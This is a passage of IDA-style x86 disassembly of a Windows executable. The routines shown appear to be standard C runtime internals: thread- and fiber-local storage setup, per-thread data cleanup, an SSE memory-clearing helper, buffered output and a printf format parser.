sub_4062CC+4Cj ... mov eax, [esp+4+arg_0] pop esi retn sub_4062CC endp ; =============== S U B R O U T I N E ======================================= sub_40633A proc near ; DATA XREF: sub_406621+8Ao ; seg001:off_411BC4o call dword_40D154 ; TlsAlloc retn 4 sub_40633A endp ; =============== S U B R O U T I N E ======================================= sub_406343 proc near ; CODE XREF: sub_406471+10p push esi push dword_4107C4 call dword_40D150 ; TlsGetValue mov esi, eax test esi, esi jnz short loc_406371 push dword_411BC8 call sub_4062CC pop ecx mov esi, eax push esi push dword_4107C4 call dword_40D158 ; TlsSetValue loc_406371: ; CODE XREF: sub_406343+11j mov eax, esi pop esi retn sub_406343 endp ; =============== S U B R O U T I N E ======================================= sub_406375 proc near ; CODE XREF: sub_406621+12p ; sub_406621:loc_40679Bp mov eax, dword_4107C0 cmp eax, 0FFFFFFFFh jz short loc_406395 push eax push dword_411BD0 call sub_4062CC pop ecx call eax or dword_4107C0, 0FFFFFFFFh loc_406395: ; CODE XREF: sub_406375+8j mov eax, dword_4107C4 cmp eax, 0FFFFFFFFh jz short loc_4063AD push eax call dword_40D15C ; TlsFree or dword_4107C4, 0FFFFFFFFh loc_4063AD: ; CODE XREF: sub_406375+28j jmp sub_404FF4 sub_406375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063B2 proc near ; CODE XREF: sub_406471+4Dp ; sub_406621+162p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 0Ch push offset dword_40E558 call __SEH_prolog4 push offset aKernel32_dll ; "KERNEL32.DLL" call dword_40D104 ; GetModuleHandleA mov [ebp+var_1C], eax mov esi, [ebp+arg_0] mov dword ptr [esi+5Ch], offset dword_4107F8 xor edi, edi inc edi mov [esi+14h], edi test eax, eax jz short loc_40640F call sub_4061E9 test eax, eax jz short loc_40640F push offset aEncodepointer ; "EncodePointer" push [ebp+var_1C] mov ebx, dword_40D100 call ebx ; GetProcAddress mov [esi+1F8h], eax push offset aDecodepointer ; "DecodePointer" push [ebp+var_1C] call ebx ; GetProcAddress mov [esi+1FCh], eax loc_40640F: ; CODE XREF: sub_4063B2+2Cj ; sub_4063B2+35j mov [esi+70h], edi mov byte ptr [esi+0C8h], 43h mov byte ptr [esi+14Bh], 43h mov eax, offset dword_410880 mov [esi+68h], eax push eax call dword_40D160 ; InterlockedIncrement push 0Ch call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebp+arg_4] mov [esi+6Ch], eax test eax, eax jnz short loc_40644D mov eax, off_410E88 mov [esi+6Ch], eax loc_40644D: ; CODE XREF: sub_4063B2+91j push dword ptr [esi+6Ch] call sub_408788 pop ecx mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_406468 call __SEH_epilog4 retn sub_4063B2 endp ; =============== S U B R O U T I N E ======================================= sub_406468 proc near ; CODE XREF: sub_4063B2+ABp ; DATA XREF: seg001:0040E570o push 0Ch call sub_405049 pop ecx retn sub_406468 endp ; =============== S U B R O U T I N E ======================================= sub_406471 proc near ; CODE XREF: sub_403F8Fp sub_403FA2p ... push esi push edi call dword_40D050 ; RtlGetLastWin32Error push dword_4107C0 mov edi, eax call sub_406343 call eax mov esi, eax test esi, esi jnz short loc_4064DC push 214h push 1 call sub_409363 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_4064DC push esi push dword_4107C0 push dword_411BCC call sub_4062CC pop ecx call eax test eax, eax jz short loc_4064D3 push 0 push esi call sub_4063B2 pop ecx pop ecx call dword_40D168 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_4064DC ; --------------------------------------------------------------------------- loc_4064D3: ; CODE XREF: sub_406471+48j push esi call sub_40405A pop ecx xor esi, esi loc_4064DC: ; CODE XREF: sub_406471+1Bj ; sub_406471+2Fj ... push edi call dword_40D164 ; RtlRestoreLastWin32Error pop edi mov eax, esi pop esi retn sub_406471 endp ; =============== S U B R O U T I N E ======================================= sub_4064E8 proc near ; CODE XREF: sub_40461Ap sub_404627p ... push esi call sub_406471 mov esi, eax test esi, esi jnz short loc_4064FC push 10h call sub_40422F pop ecx loc_4064FC: ; CODE XREF: sub_4064E8+Aj mov eax, esi pop esi retn sub_4064E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406500 proc near ; DATA XREF: sub_406621+115o ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_40E578 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz loc_406601 mov eax, [esi+24h] test eax, eax jz short loc_406525 push eax call sub_40405A pop ecx loc_406525: ; CODE XREF: sub_406500+1Cj mov eax, [esi+2Ch] test eax, eax jz short loc_406533 push eax call sub_40405A pop ecx loc_406533: ; CODE XREF: sub_406500+2Aj mov eax, [esi+34h] test eax, eax jz short loc_406541 push eax call sub_40405A pop ecx loc_406541: ; CODE XREF: sub_406500+38j mov eax, [esi+3Ch] test eax, eax jz short loc_40654F push eax call sub_40405A pop ecx loc_40654F: ; CODE XREF: sub_406500+46j mov eax, [esi+44h] test eax, eax jz short loc_40655D push eax call sub_40405A pop ecx loc_40655D: ; CODE XREF: sub_406500+54j mov eax, [esi+48h] test eax, eax jz short loc_40656B push eax call sub_40405A pop ecx loc_40656B: ; CODE XREF: sub_406500+62j mov eax, [esi+5Ch] cmp eax, offset dword_4107F8 jz short loc_40657C push eax call sub_40405A pop ecx loc_40657C: ; CODE XREF: sub_406500+73j push 0Dh call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 mov edi, [esi+68h] test edi, edi jz short loc_4065A9 push edi call dword_40D16C ; InterlockedDecrement test eax, eax jnz short loc_4065A9 cmp edi, offset dword_410880 jz short loc_4065A9 push edi call sub_40405A pop ecx loc_4065A9: ; CODE XREF: sub_406500+8Dj ; sub_406500+98j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40660C push 0Ch call sub_405121 pop ecx mov [ebp+ms_exc.disabled], 1 mov edi, [esi+6Ch] test edi, edi jz short loc_4065EE push edi call sub_40880E pop ecx cmp edi, off_410E88 jz short loc_4065EE cmp edi, offset dword_410DB0 jz short loc_4065EE cmp dword ptr [edi], 0 jnz short loc_4065EE push edi call sub_408648 pop ecx loc_4065EE: ; CODE XREF: sub_406500+C9j ; sub_406500+D8j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_406618 push esi call sub_40405A pop ecx loc_406601: ; CODE XREF: sub_406500+11j call __SEH_epilog4 retn 4 sub_406500 endp ; =============== S U B R O U T I N E ======================================= sub_406609 proc near ; DATA XREF: seg001:0040E590o mov esi, [ebp+8] sub_406609 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40660C proc near ; CODE XREF: sub_406500+B0p push 0Dh call sub_405049 pop ecx retn sub_40660C endp ; =============== S U B R O U T I N E ======================================= sub_406615 proc near ; DATA XREF: seg001:0040E59Co mov esi, [ebp+8] sub_406615 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406618 proc near ; CODE XREF: sub_406500+F5p push 0Ch call sub_405049 pop ecx retn sub_406618 endp ; =============== S U B R O U T I N E ======================================= sub_406621 proc near ; CODE XREF: seg001:loc_404C7Ep push edi push offset aKernel32_dll ; "KERNEL32.DLL" call dword_40D104 ; GetModuleHandleA mov edi, eax test edi, edi jnz short loc_40663C call sub_406375 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_40663C: ; CODE XREF: sub_406621+10j push esi mov esi, dword_40D100 push offset dword_40D89C push edi call esi ; GetProcAddress push offset aFlsgetvalue ; "FlsGetValue" push edi mov off_411BC4, eax call esi ; GetProcAddress push offset aFlssetvalue ; "FlsSetValue" push edi mov dword_411BC8, eax call esi ; GetProcAddress push offset aFlsfree ; "FlsFree" push edi mov dword_411BCC, eax call esi ; GetProcAddress cmp off_411BC4, 0 mov esi, dword_40D158 mov dword_411BD0, eax jz short loc_40669C cmp dword_411BC8, 0 jz short loc_40669C cmp dword_411BCC, 0 jz short loc_40669C test eax, eax jnz short loc_4066C0 loc_40669C: ; CODE XREF: sub_406621+63j ; sub_406621+6Cj ... mov eax, dword_40D150 mov dword_411BC8, eax mov eax, dword_40D15C mov off_411BC4, offset sub_40633A mov dword_411BCC, esi mov dword_411BD0, eax loc_4066C0: ; CODE XREF: sub_406621+79j call dword_40D154 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_4107C4, eax jz loc_4067A0 push dword_411BC8 push eax call esi ; TlsSetValue test eax, eax jz loc_4067A0 call sub_4044FF push off_411BC4 call sub_406255 push dword_411BC8 mov off_411BC4, eax call sub_406255 push dword_411BCC mov dword_411BC8, eax call sub_406255 push dword_411BD0 mov dword_411BCC, eax call sub_406255 add esp, 10h mov dword_411BD0, eax call sub_404FAB test eax, eax jz short loc_40679B push offset sub_406500 push off_411BC4 call sub_4062CC pop ecx call eax ; TlsFree cmp eax, 0FFFFFFFFh mov dword_4107C0, eax jz short loc_40679B push 214h push 1 call sub_409363 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40679B push esi push dword_4107C0 push dword_411BCC call sub_4062CC pop ecx call eax ; TlsFree test eax, eax jz short loc_40679B push 0 push esi call sub_4063B2 pop ecx pop ecx call dword_40D168 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax jmp short loc_4067A2 ; --------------------------------------------------------------------------- loc_40679B: ; CODE XREF: sub_406621+113j ; sub_406621+130j ... call sub_406375 loc_4067A0: ; CODE XREF: sub_406621+ADj ; sub_406621+BEj xor eax, eax loc_4067A2: ; CODE XREF: sub_406621+178j pop esi pop edi retn sub_406621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067A5 proc near ; CODE XREF: seg001:0040167Bp ; seg001:00401684p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call dword_40D170 ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_409BE0 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_4067DC mov [ecx], eax locret_4067DC: ; CODE XREF: sub_4067A5+33j leave retn sub_4067A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067DE proc near ; CODE XREF: sub_406835+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] shr ecx, 7 pxor xmm0, xmm0 jmp short loc_4067FE ; --------------------------------------------------------------------------- db 8Dh, 0A4h, 24h, 4 dup(0) align 2 loc_4067FE: ; CODE XREF: sub_4067DE+16j ; sub_4067DE+4Ej movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm0 movdqa oword ptr [edi+20h], xmm0 movdqa oword ptr [edi+30h], xmm0 movdqa oword ptr [edi+40h], xmm0 movdqa oword ptr [edi+50h], xmm0 movdqa oword ptr [edi+60h], xmm0 movdqa oword ptr [edi+70h], xmm0 lea edi, [edi+80h] dec ecx jnz short loc_4067FE mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_4067DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406835 proc near ; CODE XREF: sub_403FE0+27j ; sub_406835+7Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], edi mov eax, [ebp+arg_0] cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx test edi, edi jnz short loc_40688F mov ecx, [ebp+arg_8] mov edx, ecx and edx, 7Fh mov [ebp+var_C], edx cmp ecx, edx jz short loc_406874 sub ecx, edx push ecx push eax call sub_4067DE add esp, 8 mov eax, [ebp+arg_0] mov edx, [ebp+var_C] loc_406874: ; CODE XREF: sub_406835+2Bj test edx, edx jz short loc_4068BD add eax, [ebp+arg_8] sub eax, edx mov [ebp+var_8], eax xor eax, eax mov edi, [ebp+var_8] mov ecx, [ebp+var_C] rep stosb mov eax, [ebp+arg_0] jmp short loc_4068BD ; --------------------------------------------------------------------------- loc_40688F: ; CODE XREF: sub_406835+1Cj neg edi add edi, 10h mov [ebp+var_10], edi xor eax, eax mov edi, [ebp+arg_0] mov ecx, [ebp+var_10] rep stosb mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] add ecx, eax sub edx, eax push edx push 0 push ecx call sub_406835 add esp, 0Ch mov eax, [ebp+arg_0] loc_4068BD: ; CODE XREF: sub_406835+41j ; sub_406835+58j mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_406835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068C4 proc near ; CODE XREF: sub_4040E8+A3p ; sub_4041B4+6Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] push esi call sub_40A6C9 mov [ebp+arg_4], eax mov eax, [esi+0Ch] test al, 82h pop ecx jnz short loc_4068F4 call sub_403F8F mov dword ptr [eax], 9 loc_4068E8: ; CODE XREF: sub_4068C4+3Fj or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp loc_406A21 ; --------------------------------------------------------------------------- loc_4068F4: ; CODE XREF: sub_4068C4+17j test al, 40h jz short loc_406905 call sub_403F8F mov dword ptr [eax], 22h jmp short loc_4068E8 ; --------------------------------------------------------------------------- loc_406905: ; CODE XREF: sub_4068C4+32j push ebx xor ebx, ebx test al, 1 jz short loc_406922 test al, 10h mov [esi+4], ebx jz loc_40699C mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_406922: ; CODE XREF: sub_4068C4+46j mov eax, [esi+0Ch] and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax mov [esi+4], ebx mov [ebp+var_4], ebx jnz short loc_406966 call sub_40A528 add eax, 20h cmp esi, eax jz short loc_406952 call sub_40A528 add eax, 40h cmp esi, eax jnz short loc_40695F loc_406952: ; CODE XREF: sub_4068C4+80j push [ebp+arg_4] call sub_40A4CA test eax, eax pop ecx jnz short loc_406966 loc_40695F: ; CODE XREF: sub_4068C4+8Cj push esi call sub_40A486 pop ecx loc_406966: ; CODE XREF: sub_4068C4+74j ; sub_4068C4+99j test word ptr [esi+0Ch], 108h push edi jz loc_4069F3 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx cmp edi, ebx mov [esi+4], ecx jle short loc_4069A7 push edi push eax push [ebp+arg_4] call sub_40A3AA add esp, 0Ch mov [ebp+var_4], eax jmp short loc_4069E9 ; --------------------------------------------------------------------------- loc_40699C: ; CODE XREF: sub_4068C4+4Dj or eax, 20h mov [esi+0Ch], eax or eax, 0FFFFFFFFh jmp short loc_406A20 ; --------------------------------------------------------------------------- loc_4069A7: ; CODE XREF: sub_4068C4+C4j mov ecx, [ebp+arg_4] cmp ecx, 0FFFFFFFFh jz short loc_4069CA cmp ecx, 0FFFFFFFEh jz short loc_4069CA mov eax, ecx and eax, 1Fh imul eax, 38h mov edx, ecx sar edx, 5 add eax, dword_413A80[edx*4] jmp short loc_4069CF ; --------------------------------------------------------------------------- loc_4069CA: ; CODE XREF: sub_4068C4+E9j ; sub_4068C4+EEj mov eax, offset dword_410EA0 loc_4069CF: ; CODE XREF: sub_4068C4+104j test byte ptr [eax+4], 20h jz short loc_4069E9 push 2 push ebx push ebx push ecx call sub_409CCB and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_406A0E loc_4069E9: ; CODE XREF: sub_4068C4+D6j ; sub_4068C4+10Fj mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_406A09 ; --------------------------------------------------------------------------- loc_4069F3: ; CODE XREF: sub_4068C4+A9j xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push [ebp+arg_4] call sub_40A3AA add esp, 0Ch mov [ebp+var_4], eax loc_406A09: ; CODE XREF: sub_4068C4+12Dj cmp [ebp+var_4], edi jz short loc_406A17 loc_406A0E: ; CODE XREF: sub_4068C4+123j or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp short loc_406A1F ; --------------------------------------------------------------------------- loc_406A17: ; CODE XREF: sub_4068C4+148j mov eax, [ebp+arg_0] and eax, 0FFh loc_406A1F: ; CODE XREF: sub_4068C4+151j pop edi loc_406A20: ; CODE XREF: sub_4068C4+E1j pop ebx loc_406A21: ; CODE XREF: sub_4068C4+2Bj pop esi leave retn sub_4068C4 endp ; =============== S U B R O U T I N E ======================================= sub_406A24 proc near ; CODE XREF: sub_406A57+11p ; sub_406A7B+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_406A30 cmp dword ptr [ecx+8], 0 jz short loc_406A54 loc_406A30: ; CODE XREF: sub_406A24+4j dec dword ptr [ecx+4] js short loc_406A40 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_406A4C ; --------------------------------------------------------------------------- loc_406A40: ; CODE XREF: sub_406A24+Fj movsx eax, al push ecx push eax call sub_4068C4 pop ecx pop ecx loc_406A4C: ; CODE XREF: sub_406A24+1Aj cmp eax, 0FFFFFFFFh jnz short loc_406A54 or [esi], eax retn ; --------------------------------------------------------------------------- loc_406A54: ; CODE XREF: sub_406A24+Aj ; sub_406A24+2Bj inc dword ptr [esi] retn sub_406A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A57 proc near ; CODE XREF: sub_406AC5+852p ; sub_406AC5+87Fp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_406A72 ; --------------------------------------------------------------------------- loc_406A5F: ; CODE XREF: sub_406A57+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_406A24 cmp dword ptr [esi], 0FFFFFFFFh jz short loc_406A78 loc_406A72: ; CODE XREF: sub_406A57+6j cmp [ebp+arg_4], 0 jg short loc_406A5F loc_406A78: ; CODE XREF: sub_406A57+19j pop esi pop ebp retn sub_406A57 endp ; =============== S U B R O U T I N E ======================================= sub_406A7B proc near ; CODE XREF: sub_406AC5+866p ; sub_406AC5+8CDp ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_406ABB cmp dword ptr [edi+8], 0 jnz short loc_406ABB mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_406AC2 ; --------------------------------------------------------------------------- loc_406A95: ; CODE XREF: sub_406A7B+45j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_406A24 inc ebx cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_406ABB call sub_403F8F cmp dword ptr [eax], 2Ah jnz short loc_406AC2 mov ecx, edi mov al, 3Fh call sub_406A24 loc_406ABB: ; CODE XREF: sub_406A7B+Aj ; sub_406A7B+10j ... cmp [esp+8+arg_0], 0 jg short loc_406A95 loc_406AC2: ; CODE XREF: sub_406A7B+18j ; sub_406A7B+35j pop esi pop ebx retn sub_406A7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1F8h sub_406AC5 proc near ; CODE XREF: sub_4040E8+84p ; sub_4041B4+53p ... var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_260 = dword ptr -260h var_25C = byte ptr -25Ch var_254 = dword ptr -254h var_250 = byte ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-1F8h] sub esp, 278h mov eax, dword_410440 xor eax, ebp mov [ebp+1F8h+var_4], eax mov eax, [ebp+1F8h+arg_0] push ebx mov ebx, [ebp+1F8h+arg_4] push esi xor esi, esi push edi mov edi, [ebp+1F8h+arg_C] push [ebp+1F8h+arg_8] lea ecx, [ebp+1F8h+var_25C] mov [ebp+1F8h+var_228], eax mov [ebp+1F8h+var_224], edi mov [ebp+1F8h+var_244], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_218], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_23C], esi call sub_4048C8 cmp [ebp+1F8h+var_228], esi jnz short loc_406B52 loc_406B25: ; CODE XREF: sub_406AC5+E5j ; sub_406AC5+138j ... call sub_403F8F push esi push esi push esi push esi mov dword ptr [eax], 16h push esi loc_406B35: ; CODE XREF: sub_406AC5+947j call sub_404E8B add esp, 14h cmp [ebp+1F8h+var_250], 0 jz short loc_406B4A mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_406B4A: ; CODE XREF: sub_406AC5+7Cj or eax, 0FFFFFFFFh jmp loc_407421 ; --------------------------------------------------------------------------- loc_406B52: ; CODE XREF: sub_406AC5+5Ej mov eax, [ebp+1F8h+var_228] test byte ptr [eax+0Ch], 40h jnz loc_406C03 push eax call sub_40A6C9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_406BA1 push [ebp+1F8h+var_228] call sub_40A6C9 cmp eax, 0FFFFFFFEh pop ecx jz short loc_406BA1 push [ebp+1F8h+var_228] call sub_40A6C9 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:413A80h[eax*4] call sub_40A6C9 and eax, 1Fh imul eax, 38h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_406BA6 ; --------------------------------------------------------------------------- loc_406BA1: ; CODE XREF: sub_406AC5+A4j ; sub_406AC5+B2j mov eax, offset dword_410EA0 loc_406BA6: ; CODE XREF: sub_406AC5+DAj test byte ptr [eax+24h], 7Fh jnz loc_406B25 push [ebp+1F8h+var_228] call sub_40A6C9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_406BF4 push [ebp+1F8h+var_228] call sub_40A6C9 cmp eax, 0FFFFFFFEh pop ecx jz short loc_406BF4 push [ebp+1F8h+var_228] call sub_40A6C9 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:413A80h[eax*4] call sub_40A6C9 and eax, 1Fh imul eax, 38h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_406BF9 ; --------------------------------------------------------------------------- loc_406BF4: ; CODE XREF: sub_406AC5+F7j ; sub_406AC5+105j mov eax, offset dword_410EA0 loc_406BF9: ; CODE XREF: sub_406AC5+12Dj test byte ptr [eax+24h], 80h jnz loc_406B25 loc_406C03: ; CODE XREF: sub_406AC5+94j cmp ebx, esi jz loc_406B25 mov dl, [ebx] xor ecx, ecx test dl, dl mov [ebp+1F8h+var_22C], esi mov [ebp+1F8h+var_220], esi mov [ebp+1F8h+var_24C], esi mov [ebp+1F8h+var_211], dl jz loc_407411 loc_406C23: ; CODE XREF: sub_406AC5+930j inc ebx cmp [ebp+1F8h+var_22C], 0 mov [ebp+1F8h+var_240], ebx jl loc_407411 mov al, dl sub al, 20h cmp al, 58h ja short loc_406C4A movsx eax, dl movzx eax, byte_40D8A0[eax] and eax, 0Fh xor esi, esi jmp short loc_406C4E ; --------------------------------------------------------------------------- loc_406C4A: ; CODE XREF: sub_406AC5+172j xor esi, esi xor eax, eax loc_406C4E: ; CODE XREF: sub_406AC5+183j movsx eax, byte_40D8C0[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+1F8h+var_26C], eax ja loc_4073E1 ; default jmp off_407439[eax*4] ; switch jump loc_406C6E: ; DATA XREF: seg001:off_407439o or [ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 00406C67 case 1 mov [ebp+1F8h+var_270], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_23C], esi jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406C89: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o movsx eax, dl ; jumptable 00406C67 case 2 sub eax, 20h jz short loc_406CCF sub eax, 3 jz short loc_406CC3 sub eax, 8 jz short loc_406CBA dec eax dec eax jz short loc_406CB1 sub eax, 3 jnz loc_4073E1 ; default or [ebp+1F8h+var_210], 8 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CB1: ; CODE XREF: sub_406AC5+1D8j or [ebp+1F8h+var_210], 4 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CBA: ; CODE XREF: sub_406AC5+1D4j or [ebp+1F8h+var_210], 1 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CC3: ; CODE XREF: sub_406AC5+1CFj or [ebp+1F8h+var_210], 80h jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CCF: ; CODE XREF: sub_406AC5+1CAj or [ebp+1F8h+var_210], 2 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CD8: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o cmp dl, 2Ah ; jumptable 00406C67 case 3 jnz short loc_406CFD add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_238], edi jge loc_4073E1 ; default or [ebp+1F8h+var_210], 4 neg [ebp+1F8h+var_238] jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406CFD: ; CODE XREF: sub_406AC5+216j mov eax, [ebp+1F8h+var_238] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_238], eax jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D12: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o mov [ebp+1F8h+var_218], esi ; jumptable 00406C67 case 4 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D1A: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o cmp dl, 2Ah ; jumptable 00406C67 case 5 jnz short loc_406D3C add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_218], edi jge loc_4073E1 ; default or [ebp+1F8h+var_218], 0FFFFFFFFh jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D3C: ; CODE XREF: sub_406AC5+258j mov eax, [ebp+1F8h+var_218] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_218], eax jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D51: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o cmp dl, 49h ; jumptable 00406C67 case 6 jz short loc_406D9C cmp dl, 68h jz short loc_406D93 cmp dl, 6Ch jz short loc_406D75 cmp dl, 77h jnz loc_4073E1 ; default or [ebp+1F8h+var_210], 800h jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D75: ; CODE XREF: sub_406AC5+299j cmp byte ptr [ebx], 6Ch jnz short loc_406D8A inc ebx or [ebp+1F8h+var_210], 1000h mov [ebp+1F8h+var_240], ebx jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D8A: ; CODE XREF: sub_406AC5+2B3j or [ebp+1F8h+var_210], 10h jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D93: ; CODE XREF: sub_406AC5+294j or [ebp+1F8h+var_210], 20h jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406D9C: ; CODE XREF: sub_406AC5+28Fj mov al, [ebx] cmp al, 36h jnz short loc_406DB9 cmp byte ptr [ebx+1], 34h jnz short loc_406DB9 inc ebx inc ebx or [ebp+1F8h+var_210], 8000h mov [ebp+1F8h+var_240], ebx jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406DB9: ; CODE XREF: sub_406AC5+2DBj ; sub_406AC5+2E1j cmp al, 33h jnz short loc_406DD4 cmp byte ptr [ebx+1], 32h jnz short loc_406DD4 inc ebx inc ebx and [ebp+1F8h+var_210], 0FFFF7FFFh mov [ebp+1F8h+var_240], ebx jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406DD4: ; CODE XREF: sub_406AC5+2F6j ; sub_406AC5+2FCj cmp al, 64h jz loc_4073E1 ; default cmp al, 69h jz loc_4073E1 ; default cmp al, 6Fh jz loc_4073E1 ; default cmp al, 75h jz loc_4073E1 ; default cmp al, 78h jz loc_4073E1 ; default cmp al, 58h jz loc_4073E1 ; default mov [ebp+1F8h+var_26C], esi loc_406E07: ; CODE XREF: 